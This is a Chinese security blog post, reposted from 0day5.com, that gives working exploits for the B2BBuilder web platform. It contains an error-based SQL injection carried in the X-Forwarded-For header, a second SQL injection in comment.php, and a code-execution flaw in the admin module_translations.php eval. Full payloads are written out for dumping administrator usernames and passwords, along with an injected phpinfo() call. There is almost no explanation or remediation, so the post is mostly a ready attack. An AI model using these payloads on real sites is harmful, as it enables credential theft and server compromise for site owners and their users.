牛牛逼逼叉叉
菜单

B2BBuilder 两处注入+后台任意代码执行利用

2016年07月18日,分类《网络安全》,作者:
博客捐助

1、B2BBuilder头注入后台任意代码执行

构造头部测试:

x-forwarded-for:' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,user,0x27,0x7e) from b2bbuilder_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

后台任意代码执行
在eval中用;就能分别执行两个命令,访问:

http://www.0day5.com/admin/module_translations.php?mod=;phpinfo()

2、B2BBuilder 又一注入漏洞
爆账号:

http://www.0day5.com/comment.php?ctype=2&conid=16873%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(user,0x3A,password)%20
from%20b2bbuilder_admin%20Order%20by%20user%20limit%200,1)%20)%20
from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

爆密码:

http://www.0day5.com/comment.php?ctype=2&conid=16873 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,unhex(Hex(cast(b2bbuilder_admin.password as char))),0x27,0x7e) from `b2bbuilder`.b2bbuilder_admin Order by user limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

来源:http://0day5.com/archives/772



发表评论

电子邮件地址不会被公开。 必填项已用*标注

【上一篇】

Waf实现扫描器识别 彻底抵挡黑客扫描

【下一篇】

Web服务器在外网能裸奔多久?